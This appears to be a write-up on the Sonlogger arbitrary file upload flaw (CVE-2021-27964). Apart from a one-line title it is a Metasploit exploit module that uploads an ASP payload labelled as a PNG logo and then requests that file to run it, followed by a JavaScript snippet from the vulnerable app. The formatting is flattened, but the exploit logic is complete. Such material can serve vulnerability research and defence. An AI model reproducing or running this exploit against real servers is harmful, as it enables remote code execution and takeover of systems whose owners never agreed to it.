详细分析 Sonlogger 任意文件上传漏洞 (CVE-2021-27964)

def create_payload    Msf::Util::EXE.to_exe_asp(generate_payload_exe).to_send

def exploit    begin      print_good('Generate Payload')      data = create_payload
      boundary = "----WebKitFormBoundary#{rand_text_alphanumeric(rand(5..14))}"      post_data = "--#{boundary}rn"      post_data << "Content-Disposition: form-data; name="file"; filename="#{rand_text_alphanumeric(rand(5..11))}.asp"rn"      post_data << "Content-Type: image/pngrn"      post_data << "rn#{data}rn"      post_data << "--#{boundary}rn"
      res = send_request_cgi(        'method' => 'POST',        'uri' => normalize_uri(target_uri.path, '/Config/SaveUploadedHotspotLogoFile'),        'ctype' => "multipart/form-data; boundary=#{boundary}",        'data' => post_data,        'headers' => {          'Accept' => 'application/json',          'Accept-Language' => 'en-US,en;q=0.5',          'X-Requested-With' => 'XMLHttpRequest'        }      )      unless res        fail_with(Failure::Unreachable, 'No response from server')      end
      unless res.code == 200        fail_with(Failure::Unknown, "Unexpected server response: #{res.code}")       end
      json_res = begin        JSON.parse(res.body)      rescue JSON::ParserError        nil      end
      if json_res.nil? || json_res['Message'] == 'Error in saving file'        fail_with(Failure::UnexpectedReply, 'Error uploading payload')      end
      print_good('Payload has been uploaded')
      handler
      print_status('Executing payload...')      send_request_cgi({        'uri' => normalize_uri(target_uri.path, '/Assets/temp/hotspot/img/logohotspot.asp'),        'method' => 'GET'      }, 5)    end     rescue StandardError        fail_with(Failure::UnexpectedReply, 'Failed to execute the payload')    end

var handleLogoDropzone = function () {
    Dropzone.autoDiscover = false; // otherwise will be initialized twice    var myDropzoneOptions = {        maxFilesize: 5,        addRemoveLinks: true,        clickable: true,    };    var myDropzone = new Dropzone('#m-dropzone-three', myDropzoneOptions);    var mockFile = { name: $('#hotspotlogonameinput').val(), size: 12345 };    myDropzone.options.addedfile.call(myDropzone, mockFile);    myDropzone.options.thumbnail.call(myDropzone, mockFile, "../../Assets/hotspot/img/" + $('#hotspotlogonameinput').val() + "?dummy=" + Math.round((new Date()).getTime() / 1000) + "");}